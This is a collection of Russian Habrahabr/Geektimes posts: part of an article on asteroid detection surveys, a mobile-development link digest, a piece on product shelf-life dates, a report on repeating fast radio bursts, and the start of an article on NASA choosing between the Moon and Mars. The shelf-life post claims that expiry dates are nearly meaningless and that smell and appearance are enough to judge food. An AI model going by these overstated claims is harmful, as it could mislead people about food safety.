порядка нескольких процентов, поэтому реальный порог опасных объектов начинается с мощности в 1000 раз больше — порядка сотен мегатонн, характерной энергии импакта для тел калибра 140-170 метров. В отличие от ядерного оружия, энерговыделение метеоритов более размазано в пространстве и времени, поэтому слегка менее смертоностно. На фото — взрыв ядерной установки Ivy Mike, 10 мегатонн. Такой метеор имеет радиус поражения в сотню километров, и удачно приземлившись, может прекратить многие миллионы жизней. Разумеется в космосе есть камни и побольше размером — 500 метровый астероид устроит региональную катастрофу, затронув местность в тысячах километров от места своего падения, полуторакилометровому под силу стереть жизнь с четверти поверхности планеты, а 10 километровый устроит новое массовое вымирание и точно уничтожит цивилизацию. Теперь, когда мы откалибровали уровень Армагеддона от размера, можно перейти к науке. Околоземные астероиды Импактором может, понятно, стать только тот астероид, орбита которого в будущем пересечет траекторию Земли. Проблема в том, что сначала такой астероид надо увидеть, затем измерить его траекторию с достаточной точностью и промоделировать ее в будущее. До 80-х годов количество известных астероидов, которые пересекали орбиту Земли исчислялось десятками, и ни один из них не представлял опасности (не проходил ближе 7,5 млн километров от орбиты Земли при моделировании динамики, скажем, на 1000 лет вперед). Поэтому изучение астероидной опасности в основном сосредотачивалось на вероятностном расчете — сколько тел размером более 140 метров может быть на пересекающих Землю орбитах? Как часто происходят импакты? Опасность оценивалась вероятностно “в следующем десятилетии получить импакт мощностью больше 100 мегатонн составляет 10^-5”, но вероятность не означает, что мы не получим глобальную катастрофу уже завтра. Расчет вероятной частоты импактов в зависимости от энергии. По вертикальной оси частота «случаев в год», по горизонтальной — мощность импакта в килотоннах. Горизонтальные полоски — допуски на величину. Красные отметки — наблюдения реальных импактов с ошибкой. Однако качественный и количественный рост приводит к быстрому росту количества обнаруженных околоземных объектов. Появление в 90х ПЗС матриц на телескопах (которые подняли их чувствительность на 1-1,5 порядка) и одновременно автоматических алгоритмов обработки изображений ночного неба привело к росту темпа обнаружения астероидов (в т.ч. околоземных) на два порядка на рубеже веков. Хорошая анимация обнаружения и движения астероидов с 1982 по 2012 год. Околоземные астероиды обозначены красным. В 1998-1999 в строй вступает проект LINEAR — два телескопа-робота апертурой всего в 1 метр, снабженные всего 5-мегапиксельной (позже вы поймете, откуда “всего”) матрицей, с задачей обнаружений как можно большего количества астероидов и комет, в т.ч. околоземных. Это был не первый проект подобной направленности (на пару лет раньше был еще достаточно успешный NEAT), но первый, специально спроектированный для этой задачи. Телескоп отличали следующие особенности, которые затем станут стандартом: Специальная астрономическая матрица ПЗС, с обратной засветкой пикселя, увеличившая ее квантовую эффективность (количество зарегистрированных падающих фотонов) до почти до 100%, против 30% у стандартных не астрономических. Широкоугольный телескоп, позволяющих за ночь снимать очень большую поверхность неба. Частный каденс — телескоп за ночь 5 раз фотографировал один и тот же участок неба с разрывом в 28 минут и повторял эту процедуру через две недели. Экспозиция кадра при этом составляла всего 10 секунд, после чего телескоп переходил на следующее поле. Специальные алгоритмы, которые вычитали из кадра звезды по каталогу (это было новшество) и искали движущиеся группы пикселей с определенными угловыми скоростями. Оригинальный снимок (сложение 5 экспозиций с каденсом 28 минут) телескопа LINEAR и после обработки алгоритмом. Красный кружок — околоземный астероид, желтые кружки — астероиды главного пояса. Сам телескоп проекта LINEAR, расположенный в White Sands, штат Нью Мексико. LINEAR станет звездой первой величины астероидного поиска, обнаружив за 12 следующих лет 230 тысяч астероидов и в том числе 2300 пересекающих орбиту Земли. Благодаря еще одному проекту MPC ( Minor Planet Center ) информация по найденным кандидатам в астероиды распространяется по разным обсерваториям для доп измерений орбит. В 2000-х в строй вступает похожий автоматизированный обзор неба Catalina (который будет больше нацелен на поиск именно околоземных объектов, и будет находить их сотнями в год). Количество обнаруженных разными проектами околоземных астероидов по годам Постепенно оценки вероятности Армагеддона вообще начинают уступать оценкам вероятности смерти от конкретного астероида. Среди сначала сотен, а затем тысяч околоземных астероидов выделяется примерно 10% чьи орбиты проходят ближе 0,05 астрономических единиц от орбиты Земли (примерно 7,5 млн км), при этом размер астероида должен превышать размер 100-150 метров (абсолютную звездную величину тела солнечной системы H>22 ). В конце 2004 НАСА рассказало миру о том, что обнаруженный в начале года астероид Апофис 99942 с вероятностью 1 к 233 попадет в Землю в 2029 году. Астероид, по современным измерениям имеет диаметр около 330 метров и оценочную массу в 40 миллионов тонн, что дает примерно 800 мегатонн энергии взрыва. Радарное изображение астероида Апофис. Измерение траектории радаром в обсерватории Аресибо позволило уточнить орбиту и исключить вероятность столкновения с Землей. Вероятность Однако на примере Апофиса всплыла та самая вероятность конкретного тела стать импактором. Зная орбиту астероида с конечной точностью и интегрируя его траекторию опять же с конечной точностью, к моменту потенциального столкновения можно оценить только эллипс, в который придется, скажем, 95% возможных траекторий. По мере уточнения параметров орбиты Апофиса эллипс уменьшался, пока из него окончательно не выпала планета Земля, и теперь известно, что 13 апреля 2029 года астероид пройдет на расстоянии не менее 31200 км от поверхности Земли (но опять же, это ближайший край эллипса ошибки). Иллюстрация того, как сжималась трубка возможных орбит астероида Апофис в моменте возможного столкновения по мере уточнения параметров орбиты. В итоге Земля оказалась не затронута. Еще одна интересная иллюстрация по Апофису — рассчет возможных точек столкновения (с учетом неопределенности) для столкновения в 2036 году. Видно, кстати, что траектория проходила рядом с местом падения Тунгусского метеорита. Кстати, для быстрой оценки сравнительной опасности околоземных астероидов было разработано две шкалы — простая Туринская и более сложная Палермская . Туринская просто перемножает вероятность столкновения и размер оцениваемого тела, назначая ему значение от 0 до 10 (так, Апофис на пике вероятности столкновения имел 4 балла), а Палермская вычисляет логарифм соотношения вероятности импакта конкретного тела с фоновой вероятностью импакта такой энергии от сегодня до момента возможного столкновения. При этом положительные значения по Палермской шкале означают, что одно единственное тело становиться более значимым потенциальным источником катастрофы, чем все остальные — открытые и неоткрытые вместе взятые. Еще один важный момент Палермской шкалы — это применяемая свертка вероятности импакта и его энергии, дающие довольно контринтуитивную кривую степени риска от размера астероида — да, 100 метровые камни вроде не способны причинять значимый ущерб, но их много и выпадают они относительно часто, в целом неся большее количество потенциальных жертв, чем 1,5 километровые “убийцы цивилизаций”. Однако вернемся к истории обнаружения околоземных астероидов и средин них потенциально опасных объектов. В 2010 году в строй вступил первый телескоп системы Pan-STARRS, с сверхширокопольным телескопом апертурой 1,8 метра, оборудованный матрицей в 1400 мегапикселей! Фотография галактики Андромеда с телескопа Pan-STARRS 1, позволяющая оценить его широкоугольность. Для сравнения в поле врисована полная луна и цветными квадратиками — «обычное» поле зрения больших астрономических телескопов. В отличие от LINEAR он делает 30 секундные снимки с глубиной обзора в 22 зв. величины (т.е. мог обнаружить астероид размером 100-150 метров на расстоянии в 1 астрономическую единицу, против километрового предела на таком расстоянии для LINEAR), а высокопроизводительный сервер (1480 ядер и 2,5 петабайта жестких дисков) превращает снятые каждую ночь 10 терабайт в список транзиентных явлений. Тут надо отметить, что основное предназначение Pan-STARRS не поиск околоземных объектов, а звездная и галактическая астрономия — поиск изменений на небе, например далеких сверхновых, или катастрофических событий в тесных двойных системах. Однако в этом телескопе-бредне за год обнаруживались и сотни новых околоземных астероидов. Серверная Pan-STARRS. Вообще говоря, фото аж 2012 года, сегодня проект довольно сильно расширился, добавлен второй телескоп, строится еще два. Необходимо упомянуть и еще одну миссию — космический телескоп НАСА WISE и его продление NEOWISE. Этот аппарат делал снимки в далеком инфракрасном диапазоне, обнаруживая астероиды по их ИК свечению. Вообще говоря, изначально он был нацелен на поиск астероидов за орбитой Нептуна — объектов пояса Койпера, рассеянного диска и коричневых карликов, но в миссии-продлении, после того, как в телескопе закончился хладагент, и его температура стала слишком велика для первоначальной задачи, этим телескопом было найдено порядка 200 околоземных тел. В итоге, за последние 30 лет количество известных околоземных астероидов выросло с ~50 до 15000. Из них на сегодня 1763 занесены в список потенциально опасных объектов, из которых ни один не имеет оценок больше 0 по Туринской и Палермской шкалам. Много астероидов Много это или мало? После миссии NEOWISE NASA сделала переоценку модельного количества астероидов так: Здесь на картинке закрашенным изображены известные околоземные астероиды (не только опасные объекты), контурами — оценка существующих, но пока не найденных. Ситуация на 2012 год. Сейчас оценки доли обнаруженных астероидов делаются через модельный синтез популяции и расчет видимости тел этой популяции с Земли. Такой подход позволяет хорошо оценить долю обнаруженных тел не только через экстраполяцию функции «размер-количество тел», но и с учетом видимости. Красная и черная кривая — модельные оценки количества тел разных размеров на околоземных орбитах. Синие и зеленые пунктирные линии — обнаруженное количество. Черная кривая из предыдущей картинки в табличной форме. Здесь в таблице размеры астероидов приведены в единицах H — абсолютных звездных величин для объектов солнечной системы. Грубый пересчет в размеры производится по этой формуле и из него можно сделать вывод, что нам известно больше 90% околоземных объектов размером больше 500 метров и примерно половина размером с Апофис. Для тел от 100 до 150 метров известно всего около 35%. Однако, можно вспомнить, что жалких 30 лет назад известно было около 0,1% опасных объектов, так что прогресс впечатляет. Еще одна оценка доли обнаруженный астероидов в зависимости от размера. Для тел размером в 100 метров сегодня детектированно несколько процентов об общего количества. Однако это не конец истории. Сегодня в Чили сооружается телескоп LSST — еще один обзорный телескоп-монстр, который будет вооружен 8 метровой оптикой и 3,2 гигапиксельной камерой. За несколько лет, начиная с 2020, сняв примерно 50 петабайт (вообще девиз проекта «превращая небеса в базу данных) снимков LSST, должен обнаружить ~100,000 околоземных астероидов, определив орбиты почти 100% тел опасных размеров. Кстати, кроме астероидов телескоп должен выдать еще несколько миллиардов объектов и событий, а та самая база данных в итоге должна составить 30 триллионов строк, что представляет определенную сложность для современных СУБД. Для выполнения своей задачи LSST имеет очень необычную оптическую схему, где третье зеркало помещено в центр первого. Охлаждаемая до -110 С 3,2 гигапиксельная камера с зрачком 63 см — рабочий инструмент LSST. Человечество спасено? Не совсем. Есть класс камней, находящихся на внутренних по отношению к Земле орбитах в резонансе 1:1, которые очень сложно увидеть с Земли, есть долгопериодические кометы — обычно относительно крупные тела, обладающие очень высокими по отношению к Земле скоростями (т.е. потенциально очень мощные импакторы), которые мы можем сегодня заметить за не более, чем 2-3 года до столкновения. Однако, фактически, впервые за последние три века, с тех пор, как родилась идея столкновения Земли с небесным телом, через несколько лет мы будем иметь базу данных траекторий подавляющего количества несущих Земле опасных тел. В следующей части я опишу точку зрения науки по методам воздействия на опасные астероиды.
https://geektimes.ru/post/284042/
habrahabr
Дайджест интересных материалов для мобильного разработчика #185 (19-25 декабря)
['разработка приложений', 'Android', 'iOS', 'монетизация', 'мобильные устройства и приложения', 'маркетинг приложений']
Последний дайджест в этом году – в нем как сделать VR-приложение, отпечатки пальцев, мобильный QA, интерфейсы и диалоги, Super Mario и MSQRD. Ну и немного заранее, но всех нас с наступающим!...
Последний дайджест в этом году – в нем как сделать VR-приложение, отпечатки пальцев, мобильный QA, интерфейсы и диалоги, Super Mario и MSQRD. Ну и немного заранее, но всех нас с наступающим! Ура! VR-приложение с нуля на libgdx: часть 1 Виртуальная реальность стремительно набирает популярность среди пользователей, но все еще остается недоступной для многих разработчиков. Причина банальная — многие пишут игры в фреймворках, к которым нельзя прикрутить Cardboard SDK, а учиться работать в другом фреймворке нет возможности или просто лень. Так и с Libgdx, где несмотря на попытки скрестить ужа с ежом, все еще до сих пор нет возможности создавать VR игры и приложения. Android Fingerprint API: приделываем аутентификацию по отпечатку Прошло достаточно много времени, как появился Fingerprint API для Android, в сети много разрозненных сэмплов кода по его внедрению и использованию, но на Хабре по какой-то причине эту тему обходили стороной. На мой взгляд, настало время исправить это недоразумение. Что общего у мобильного QA и осьминога Рано или поздно каждый мобильный тестировщик задаётся вопросом, на каком количестве устройств тестировать новый функционал, чтобы поймать максимальное количество девайсозависимых багов, потратив минимум времени. Автотесты ещё не написаны, перед вами абсолютно новые фичи. И если с iOS есть хоть какая-то ясность, и список устройств ограничен, то Android «расплодился» в полнейший ад. Вы удивитесь, но для счастья нужно всего три–четыре Android-устройства. Теперь дайджест доступен и в виде рассылки. Подписаться вы можете тут . iOS (+15) AppCode 2016.3: поддержка Swift 3, новые настройки форматирования, улучшения быстродействия и многое другое (+11) Мобильный банк для iOS: добавляем блочную архитектуру к Cocoa MVC (+10) Custom Video Recorder для iOS приложений (+2) Секреты удачного апдейта: интерфейс, backend, структура приложения Apple отложила внедрение HTTPS С нуля до лучшего Swift-разработчика GitHub: история Омара Албеика из Алеппо Как сделать юнит-тест для View Controller-а в iOS 8 способов сделать процесс ревью в App Store менее болезненным Создание универсального фреймворка для iOS на Swift Динамическая инъекция библиотеки в любое iOS приложение UIColor-WikiColors: цвета с правильными названиями UIFontComplete: автодополнение для названий шрифтов Android (+18) Как не писать лишнего (+13) RxJava. Убираем магию (+11) Android Things (+10) Разработка и публикация первой игры под Android на Unity3D Реализация Custom View-компонента в Android Android Dev Подкаст. Выпуск 24. Kotlin 1.1 Руководство Going Global Playbook от Google Внедряем Android App Shortcuts Исследуем быстродействие: Twitter для Android Миграция с SQLite на Realm Android Auto на Raspberry Pi 3 Введение в Bourbon: Dribbble, Android, MVP и модуль с общим кодом Лучший набор инструментов для Android разработчика Управление целостностью на Android На пути от Устаревшего кода к Чистой архитектуре: переделка Buffer Android Composer Введение в ExifInterface Support Library AbusiveGymReminder: приложение напоминает о пропущенных тренировках Colorful: библиотека для изменения цветовых схем в приложении Papercut: аннотации для напоминания о ненужных частях кода Gifcap: создание анимированных изображений на устройстве Mainframer: передача сборки проекта удаленной машине KataScreenshot: тестирование UI Windows (+13) Тестирование UWP приложений с помощью Appium Конкурс Unity и Microsoft: портируйте игру на Windows и выиграйте $10,000 Разработка (+34) Чем «interface» отличается от «междумордия»: наш подход к документированию и локализации программных продуктов (+22) Программирование игровых приложений на Corona SDK: часть 1 (+21) Особенности разработки мобильной MMO RTS. Часть 1 (+13) Новая зимняя стажировка для разработчиков в Redmadrobot (+6) Предновогодний релиз API и портала Scorocode Чем MVP отличается от прототипа? Диалог — новый UI Джон Ричителло: VR станет мейнстримом только к 2020 AppMetrica открыла бесплатный сервис для рассылки пуш-уведомлений Самые популярные мобильные SDK в 2016 году Появился сериал о финских разработчиках игр Как ускорить цикл разработки мобильного приложения Инженерная архитектура нового приложения Uber Аналитика, маркетинг и монетизация (+18) Пять мощных паттернов монетизации F2P, использующих в дизайне UX поведенческую экономику (+16) Маркетинг игр и с чем его едят Как за три месяца продать стартап в Facebook 55% денег на мобильную рекламу тратится впустую Автоматические закупки мотивированного трафика от Appbooster Рекламодатели myTarget смогут создавать look-alike аудитории Gardenscapes от Playrix стал игрой года по версии Facebook Почему Super Mario Run так важен для индустрии мобильных развлечений Мобильные приложения в ритейле: профит или прихоть? Устройства и IoT (+4) Релиз alpha-версии стека протоколов для Интернета вещей Google выпустит новые часы на Android Wear Большинство пользователей никогда не устанавливает обновления на IoT-устройства ← Предыдущий дайджест . Если у вас есть другие интересные материалы или вы нашли ошибку — пришлите, пожалуйста, в почту.
https://habrahabr.ru/post/318392/
habrahabr
Теории заговора. Срок годности товаров
['срок годности', 'торговля', 'испорченные продукты', 'здоровое питание']
Каким образом производитель устанавливает срок годности своего продукта? Например, почему на пищевой соли указан срок годности 1 год (365 дней)? Что произойдёт с NaCl на 366-й день по истечении...
Каким образом производитель устанавливает срок годности своего продукта? Например, почему на пищевой соли указан срок годности 1 год (365 дней)? Что произойдёт с NaCl на 366-й день по истечении срока годности? Что происходит с детской резиновой игрушкой через три года использования (типичный срок годности резиновых игрушек)? Почему столетнее вино продают на аукционе за тысячи долларов? Об этих вопросах редко задумываются люди, которые привыкли смотреть на срок годности каждого продукта в холодильнике и каждого товара, как будто эти цифры значат что-то важное. Факт в том, что дата и время на упаковке не имеют практически никакого смысла. Продукт начинает портиться в первую секунду после своего изготовления, фрукты и овощи начинают разлагаться сразу после того, как их сорвали. Употребляемые в пищу продукты в любом случае будут испорченными. Что же за даты коммерсанты указывают на упаковках? Что такое «срок годности» По определению из Гражданского кодекса, срок годности продукта — это срок, по истечении которого товар считается непригодным для использования по назначению. По истечении срока годности продукты питания считаются непригодными в пищу, лекарства — запрещены к употреблению, а потребительские товары расцениваются как продаваемые «без претензий». Для отдельных товаров термин «срок годности» эквивалентен гарантийному сроку. Согласно текущему законодательству, торговые сети обязаны убрать из продажи товар с истёкшим сроком годности — и закупить у производителя новую партию товара. Если это крупная торговая сеть, то она заключает с производителем соглашение, что тот забирает не проданный товар обратно. Если это обычный магазин или ИП, то стоимость товаров учитывается по статье расходов — и равномерно перекладывается на все остальные товары, которые поступают в продажу, то есть перекладывается на покупателя. В любом случае, «просроченные» товары уничтожаются или выбрасываются, будь то продукты питания (даже которые никогда не портятся, см. ниже) или другие товары. Кстати, продавец также обязан передать покупателю товар с таким расчётом, чтобы он мог быть использован по назначению до истечения этого срока . Так что продавец изымает из продажи не только товары с истёкшим сроком годности, но и товары со сроком годности, который подходит к концу. Согласно закону «О защите прав потребителей», продавцу запрещается изменять срок годности, который указан на этикетке, упаковке или в сопроводительных документах на товар, а также вводить в обращение товары, срок годности которых истёк. Почему «срок годности» имеет мало смысла Как уже было сказано, продукты начинают портиться с первой секунды после своего изготовления или сбора. Важно понимать, что степень порчи продукта сильнее зависит от условий хранения , а не от времени хранения. Особенно важные факторы — влажность и температура. Специалисты по качеству продуктов объясняют, что на самом деле срок годности продукта больше относится к качеству продукта, а не к его пищевым свойствам или безопасности. Речь идёт об оптимальной свежести, оптимальном вкусе и других требованиях, которые установлены ГОСТами и прочими нормативными актами. При этом установленные нормативы исключительно консервативны. Чтобы предусмотреть абсолютно все возможные ситуации, производители устанавливают срок годности, исходя из самого худшего сценария. То есть как самый ленивый и глупый покупатель будет хранить товар в самых худших условиях, какие только возможны (в границах условий, обозначенных на этикетке). При условии, что ехать из дома до магазина несколько часов по жаре и в максимальной влажности. Тед Лабуза (Ted Labuza) из Университета Миннесоты говорит , что при ответственном подходе — если вы помещаете продукты в холодильник сразу по приходу домой — указанный срок годности молока и мяса можно смело увеличивать на три-семь дней. Что касается зелени, то исследования показывают: потеря питательных свойств отражается в потере цвета. Так что если зелень пожелтела — значит, в ней осталось мало витаминов. Но если зелень выглядит нормально, то какой смысл смотреть на отпечатанный срок годности? Макароны или рис спокойно могут храниться год без потери вкусовых качеств, а последующие годы вы тоже вряд ли заметите разницу. На сайте StillTasty можно изучить, насколько долго могут храниться и оставаться вкусными различные продукты. Разница с официальными сроками годности поразительная. В течение месяцев хранятся закрытые пачки печенья, муки и прочего. Консервы — это практически самая безопасная еда, какую можно купить в магазине. Испортить консервированный продукт исключительно сложно, он спокойно хранится от пяти лет в прохладном месте. В принципе, если защитить консервную банку от ржавчины, то продукт может нормально храниться намного дольше, чем пять лет. И по истечении этого срока вам придётся тщательно прислушиваться к ощущениям, чтобы уловить какую-то разницу между этим продуктом и «свежим». Учитывая абсурдность самого понятия «срок хранения», неудивительно, что производители никак не могут определиться со своими нормами и постоянно меняют нормативы и сроки. В разных странах действуют разные правила, и даже в рамках одной страны могут наблюдаться различия в регионах. Так, если одно и то же молоко отправляется на продажу в штат Коннектикут, то на нём нужно ставить наклейку со сроком годности 12 дней от дня пастеризации. А если то же самое молоко отправилось в Пенсильванию — то 14 дней. Сроки годности на упаковке, конечно, стимулируют продажи. Они задумывались для того, чтобы подтолкнуть покупателей к приобретению свежих продуктов, увеличить прибыль производителя. Но в то же время для потребителя они несут угрозу, порождая ложное чувство безопасности. Вместо того, чтобы оценивать реальное качество продукта по его запаху и внешнему виду, люди слепо доверяют дате, указанной на упаковке. А вообще, при надлежащем хранении есть продукты, которые хранятся вечно и никогда не портятся. Среди них — мёд, рис, сахар, крепкий алкоголь, соль, кукурузный крахмал, белый уксус, ванильный экстракт и другие.
https://geektimes.ru/post/284044/
habrahabr
Ещё шесть сигналов неизвестной природы получены из-за пределов нашей галактики
['быстрые радиовсплески', 'FRB', 'сигналы из космоса', 'FRB 121102']
Радио-, рентгеновское и инфракрасное изображения района космоса, где находится источник повторяющихся быстрых радиовсплесков В марте этого года учёные зафиксировали 10 быстрых радиовсплесков —...
Радио-, рентгеновское и инфракрасное изображения района космоса, где находится источник повторяющихся быстрых радиовсплесков В марте этого года учёные зафиксировали 10 быстрых радиовсплесков — мощных всплесков радиоизлучения, источником которых является один и тот же регион очень далеко за пределами Млечного Пути. Естественно, за ним было установлено более пристальное наблюдение. И сейчас группа астрофизиков сообщила о получении ещё шести сигналов из того же района. На данный момент этот район космоса — единственный известный источник повторяющихся быстрых радиовсплесков во Вселенной. Быстрые радиовсплески (Fast Radio Burst, FRB) — единичные радиоимпульсы длительностью несколько миллисекунд неизвестной природы, регистрируемые радиотелескопами. FRB впервые обнаружены в феврале 2007 года случайно в архивах результатов наблюдений шестилетней давности австралийского 64-метрового радиотелескопа Паркс. Этот первый зарегистрированный всплеск (FRB 010724), который иногда называют всплеском Лоримера по имени руководителя группы первооткрывателей, профессора Университета Западной Вирджинии Дункана Лоримера. FRB — мощные, но трудноуловимые сигналы, которые длятся всего несколько миллисекунд. Но за это короткое время быстрый радиовсплеск выбрасывает энергию, примерно равную энергию, испускаемую Солнцем за целый день. Несмотря на все отличительные особенности FRB, учёные до сих пор теряются в догадках, какова природа этих сигналов. Есть несколько теорий. Одной из теорий гласит, что это земной сигнал, производимый техническими устройствами. На это указывает интересная особенность FRB — быстрые радиовсплески приходят преимущественно в конце секунды по времени UT , что делает их похожими на перитоны. По другой теории, внегалактическим источником сигнала является некое экзотическое событие вроде слияния двух нейтронных звёзд. Такие версии могли подтвердиться, если бы источники FRB были равномерно распределены по небу. Поначалу предполагалось, что это действительно так, а учёные оценивали, что ежедневно со всех сторон происходит до 2000 таких радиовсплесков. Просто их очень трудно обнаружить в силу краткосрочности и непредсказуемости. Впрочем, обе эти теории поставлены под сомнение после открытия первого источника повторяющихся FRB за пределами нашей галактики, о которых стало известно в марте этого года. Сейчас получены новые данные об этом источнике. Поскольку от него пришло уже больше десятка FRB, то пришло время выдвинуть новые теории. Первые радиосигналы, о которых сообщали в марте 2016 года, в реальности наблюдались в мае и июне 2015 года. Это были первые FRB за пределами нашей галактики и первые FRB, постоянно идущие из одного источника. Из них четыре сигнала зарегистрировал телескоп Аресибо, они были разделены интервалами по 10 минут друг от друга. Через месяц пришло ещё четыре сигнала. А потом учёные внимательно проанализировали архивные данные и нашли самый старый сигнал из этого места, от 2012 года. Теперь группа исследователей из канадского Университета Макгилла обнаружила ещё шесть сигналов из этого места в космосе, теперь обозначенного как FRB 121102, по названию первого FRB от 2012 года. На этот раз сигналы зарегистрированы разными радиотелескопами: пять из них радиотелескопом Грин-Бэнк на частоте 2 ГГц, а ещё один обсерваторией Аресибо на частоте 1,4 ГГц. Это полностью устраняет версию о земном источнике сигнала, потому что радиотелескопы географически находятся друг от друга на расстоянии примерно 2500 км. У нас теперь есть информация о 17 сигналах из этого места. В таблице ниже приведена полная информация обо всех датах наблюдения данного района космоса, с указанием времени начала наблюдений, названием радиотелескопа, продолжительностью наблюдения в секундах и количеством зарегистрированных быстрых радиовсплесков. Вот как выглядит динамический спектр каждого из шести всплесков, зафиксированных в ноябре и декабре 2015 года. Исходя из того, что много сигналов идёт из одного места, это не может быть слиянием двух нейтронных звёзд. Может быть, молодая нейтронная звезда, которая в процессе вращения периодически пульсирует в нашем направлении, как будто передавая сигнал азбукой Морзе. Или это два различных источника, которые находятся в одном районе космоса. В общем, пока объяснения нет. Нам известно, что по законам физики существование разумной жизни во Вселенной возможно. Мы знаем, что перед теми, кто способен добраться до Земли, мы беззащитны, и нам никуда не деться с Земли. Из многообразия звёзд во Вселенной также понятно, что вероятность такого события достаточно высока. Тем не менее, мы поднимаем глаза и смотрим в звёздное небо без страха. Подобная смелость совершенно естественна, ведь смертельное столкновение с инопланетной цивилизацией происходит только один раз. У эволюции не было шансов настроить нашу реакцию соответствующим образом. Научная работа опубликована 16 декабря 2016 года в журнале The Astrophysical Journal (doi:10.3847/1538-4357/833/2/177).
https://geektimes.ru/post/284046/
habrahabr
Тяжелый выбор НАСА: полет на Марс или возвращение на Луну
['луна', 'марс', 'наса', 'полеты в космос']
Освоение Солнечной системы, по мнению многих специалистов, необходимо всему человечеству. Илон Маск, например, считает, что без основания форпоста на другой планете нашей цивилизации просто не...
Освоение Солнечной системы, по мнению многих специалистов, необходимо всему человечеству. Илон Маск, например, считает, что без основания форпоста на другой планете нашей цивилизации просто не выжить. Колония людей на Марсе, по его мнению, будет служить резервной копией человечества, которая будет продолжать жить и работать даже в том случае, если на Земле произойдет катаклизм, который уничтожит все население или большую его часть. Но полет на Марс — дело непростое даже для небольшой команды космонавтов. А если речь идет о целой колонии, то задача и вовсе становится почти неподъемной. Ключевое слово здесь — «почти», поскольку ряд специалистов уверены, что колония на Марсе — это все же не фантастика, а реальность, доступная уже с нынешним уровнем развития технологий. Тем не менее, некоторые ученые, инженеры и специалисты из других сфер считают, что людям лучше будет на Луне, а не на Марсе. В НАСА по этому поводу долгое время идут споры, а сотрудники агентства делятся на два лагеря: тех, что считает, что людям нужно лететь на Марс и тех, кто считает, что вторым домом может стать Луна, попасть куда гораздо проще. А уж после освоения Луны можно думать и о Марсе. В этом посте приведены аргументы «за» и «против» освоения как Луны, так и Марса. Выбор сотрудников НАСА, по всей видимости, предопределит и будущее человечества. Почему Марс? Представители аэрокосмической сферы редко во всем согласны друг с другом. Но в том, что Марс — испытание для технологий и воли человечества, согласны почти все. Красную планету считают новой вершиной для людей, которую нужно преодолеть, прежде, чем двигаться дальше. Причем Марс, несмотря на отличные от Земли условия, все же более подходящее место для жизни, чем, например, открытый космос. Здесь есть атмосфера, хотя и гораздо менее плотная, чем на Земле. Здесь есть много воды в виде льда (а может быть, где-то сохраняются подземные резервуары с жидкой водой). Всего у НАСА сейчас три основные причины лететь именно на Марс (не просто лететь, а осуществить управляемую человеком миссию с посадкой на поверхность). Первая — это показать возможности такой страны, как США. Каждая страна хочет отличиться в аэрокосмической сфере, и Америка — не исключение. Вторая причина — это колонизация. Об этом уже говорилось выше и на Geektimes о колонизации публиковался большой материал. Главным сторонником колонизации Марса можно считать Илона Маска. В НАСА немного другие настроения — любую экспедицию на Марс агентство планирует с тем расчетом, чтобы вернуть космонавтов домой. Третья причина — это наука. Поиск жизни, исследование условий на других планетах — очень важные задачи. За последние несколько лет люди узнали о Солнечной системе и ее объектах очень много. Человек полетел к Плутону, добрался до пояса астероидов, высадился (хотя и не лично) на комету Чурюмова-Герасименко. «Марс, 3,8 млрд лет назад был неплохим местом. Там была жидкая вода, на вершинах гор лежал снег, по Марсу текли реки. Марс был благоприятным местом. Тогда же началось развитие жизни на Земле. Причем все ингредиенты были и на Марсе. Если жизнь появилась здесь, могло ли произойти то же самое на красной планет? Если да, могли ли микробы жить там сейчас?», — говорит Джон Грансфелд (John Grunsfeld), американский физик и астронавт. Он принимал участие в пяти космических полётах, занимал пост руководителя научных программ НАСА. По мнению ряда научных специалистов, результаты изучения окрестностей кратера Гейл поднимают ряд вопросов, которые нуждаются в уточнении. Например, прошлым летом ровер Curiosity обнаружил в одном из районов повышенную концентрацию метана. Этот газ может быть либо следствием происходящих в глубине геофизических явлений, либо же появиться в качестве побочного продукта жизнедеятельности микроорганизмов. Все тот же Грансфелд считает, что проблема полета на Марс вполне решаема текущими средствами и возможностями человека. Финансы здесь не самый важный вопрос, поскольку бюджет подобной миссии будет вполне подъемным даже для отдельно взятой развитой экономически страны. Как уже упоминалось выше, у проекта основания колонии или даже просто управляемого полета на Марс есть противники. У них тоже есть доводы, и вполне рациональные. Почему не стоит лететь на Марс? Ряд ученых и политиков считают, что пока что человеку на Марсе делать нечего. Полет туда потребует огромного количества ресурсов, а вот какой-либо отдачи в ресурсном же отношении человек не получит еще многие десятки лет. Гораздо рациональнее, по мнению противников Марса, решать сейчас важные задачи на Земле и развивать коммерческую космонавтику. Этого же мнения придерживаются и члены Конгресса (именно Конгресс выделяет деньги НАСА). Конгрессменам результаты космических программ нужны здесь и сейчас. Кстати, Обама является сторонником именно такой точки зрения. Еще более «приземленным» (не в прямом смысле) противником полета на Марс является новоизбранный президент Трамп. По его словам, важнее решать текущие проблемы, а не тянуться за журавлем в небе. Даже те политики, которые якобы являются приверженцами переселения людей на Марс в большинстве случаев зарабатывают себе политический капитал. Колонизация Марса — дело многих десятков лет, и текущих политиков, в случае неудачи идеи с колониями, уже нельзя будет упрекнуть в чем-то — большинство либо уйдут к тому времени из политики, либо уйдут из жизни. Основные возражения противников полета на Марс — сложность поддержания колонии. Своих ресурсов там практически не будет. Если воду «марсиане» еще смогут добывать (и то, это еще под вопросом), то металлы, пластик и множество других ресурсов будут завозить с Земли. Перебои с доставкой могут очень негативно повлиять на работу колонии, под угрозу могут быть поставлены человеческие жизни. Почему Луна? В отличие от Марса, Луна гораздо ближе к Земле. Значит, туда проще и дешевле попасть. Правда, последний человек был на Луне 44 года назад, с тех пор пилотируемых миссий не было. Причем вот парадокс — после того, как человек побывал на Луне, многие обыватели и политики считают, что эта вершина уже взята, и повторяться не стоит. Что касается политиков, то многие из них понимают, что на возвращении на естественный спутник Земли большой политический капитал не заработаешь. Тем не менее, здесь важно мнение не только политиков. Дело в том, что на Луне, предположительно, есть большое количество ценных для человека ресурсов. Например, гелий-3, которым активно интересуются те же китайцы. И доставка ресурсов с Луны гораздо более реалистичный вариант, чем доставка ресурсов с Марса (сейчас это практически нереализуемо). Продолжительность полета на Луну составляет около трех дней, причем «окон» для вылета к естественному спутнику Земли гораздо больше, чем к Марсу. Планировать экспедиции на Луну по этой причине проще, а летать можно не в пример чаще, чем на красную планету. С практически 100%-ной вероятностью можно утверждать, что на Луне нет жизни. Зато там есть вода, которая будет доступна колонистам. Водяной лед скрывается в кратерах и прочих местах, куда не проникают солнечные лучи, в результате чего лед сублимирует. Так что и с водой у космонавтов проблем не будет. У Луны и научное значение большое. Изучение ее может пролить свет на происхождение как самой Луны, так и Земли, и всей Солнечной системы. Здесь же можно основать форпост человечества, откуда уже станет возможным отправлять 